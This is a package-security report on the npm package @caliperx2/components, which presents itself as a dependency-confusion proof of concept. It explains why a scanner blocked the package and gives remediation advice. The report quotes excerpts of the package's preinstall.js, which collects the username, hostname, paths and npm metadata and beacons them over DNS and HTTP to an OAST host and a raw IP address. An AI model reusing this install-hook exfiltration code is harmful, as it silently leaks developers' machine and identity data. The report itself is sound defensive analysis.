registry / Data exfiltration / @caliperx2/components

@caliperx2/components

Authorized security research placeholder - dependency confusion proof-of-concept. Not the real package. Will be unpublished after triage.

This report shows the evidence for @caliperx2/components@9999.0.0. 2 of 2 known versions are blocked or flagged. See all versions.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

The package performs concrete, automatic collection and external transmission during preinstall. Its research-oriented claims do not establish consent for exfiltration in downstream installations.

Static reason

One or more suspicious static signals were detected.

Trigger

Installing the package with npm lifecycle scripts enabled.

Impact

Leaks identifying machine, user, directory, and package-manager metadata to external hosts.

Mechanism

Install-time collection and DNS/HTTP beaconing.

Attack narrative

npm runs preinstall.js during installation. The script collects the username, hostname, working and install directories, platform, Node version, and npm metadata. It sends hostname and username through DNS and posts the full JSON object to an OAST host and a raw IP address, with HTTPS-to-HTTP fallback. This is unconsented install-time data exfiltration.

AI rationale

The package performs concrete, automatic collection and external transmission during preinstall. Its research-oriented claims do not establish consent for exfiltration in downstream installations.

Evidence

package.jsonpreinstall.js

Network endpoints2

dae7n4pijsh1ahi9684gu8get3kaiefc9.oast.online5.189.159.252

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

Installation automatically runs preinstall.js.
The install hook collects the local username, hostname, working directory, install path, platform, Node version, and npm metadata.
It encodes hostname and username into a DNS lookup and posts the collected JSON to two external destinations.
The hook falls back from HTTPS to plain HTTP, increasing exposure of the collected data.

Evidence against

The source does not read project files, spawn commands, or create persistence.

Behavioral surface

Source

EnvironmentVarsNetwork

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 3.39 KB of source

Source & flagged code

7 flagged

package.jsonView file

•scripts.preinstall = node preinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node preinstall.js" }

High

Ai Review Evidence

Installation automatically runs preinstall.js.

package.jsonView on unpkg · L6

•scripts.preinstall = node preinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

preinstall.jsView file

39function collect() { var user = 'unknown'; try { user = os.userInfo().username || process.env.USER || process.env.USERNAME || 'unknown'; } catch (e) {} return { token: TOKEN, pkg: '@caliperx2/components@9999.0.0', hostname: safe(function () { return os.hostname(); }), username: user, cwd: safe(function () { return process.cwd(); }), installPath: __dirname, platform: safe(function () { return process.platform + ' ' + os.release(); }), node: process.version, npm_user_agent: process.env.npm[redacted] || '', npm[redacted]: process.env.npm

High

Suspicious Lifecycle Evidence

The install hook collects the local username, hostname, working directory, install path, platform, Node version, and npm metadata.

preinstall.jsView on unpkg · L39

60// Channel 1: DNS beacon to interactsh (survives HTTP-egress filtering). function dnsBeacon(info) { try { var name = [ hexLabel(TOKEN), hexLabel(info.hostname), hexLabel(info.username), OAST_HOST ].join('.'); dns.lookup(name, function () {}); } catch (e) {} }

High

Ai Review Evidence

It encodes hostname and username into a DNS lookup and posts the collected JSON to two external destinations.

preinstall.jsView on unpkg · L60

98try { var info = collect(); dnsBeacon(info); httpBeacon(OAST_HOST, true, info); httpBeacon(IP_HOST, false, info); } catch (e) {}

High

Ai Review Evidence

It encodes hostname and username into a DNS lookup and posts the collected JSON to two external destinations.

preinstall.jsView on unpkg · L98

86try { var lib = useHttps ? https : http; var req = lib.request(opts, function (res) { res.resume(); }); req.on('timeout', function () { req.destroy(); }); req.on('error', function () { if (useHttps) { httpBeacon(host, false, info); } // fall back to plain HTTP }); req.write(body); req.end(); } catch (e) {}

High

Ai Review Evidence

The hook falls back from HTTPS to plain HTTP, increasing exposure of the collected data.

preinstall.jsView on unpkg · L86

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.preinstall = node preinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node preinstall.js" }

High

Ai Review Evidence

Installation automatically runs preinstall.js.

package.jsonView on unpkg · L6

•scripts.preinstall = node preinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

preinstall.jsView file

Findings

6 High3 Medium1 Low

HighInstall Time Lifecycle Scriptspackage.json

HighAi Review Evidencepackage.json

HighSuspicious Lifecycle Evidencepreinstall.js

HighAi Review Evidencepreinstall.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

MediumEnvironment Vars

LowScripts Present

Affected versions and remediation

This report applies to @caliperx2/components@9999.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing @caliperx2/components@9999.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-07 08:18:31.112Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

9999.0.0latestshownMaliciousData ExfiltrationBlockPublishedSep 5, 2026, 11:39 PM 0.0.1MaliciousData ExfiltrationBlockPublishedSep 5, 2026, 11:37 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other data exfiltration packages

Source & flagged code

Related packages

Other data exfiltration packages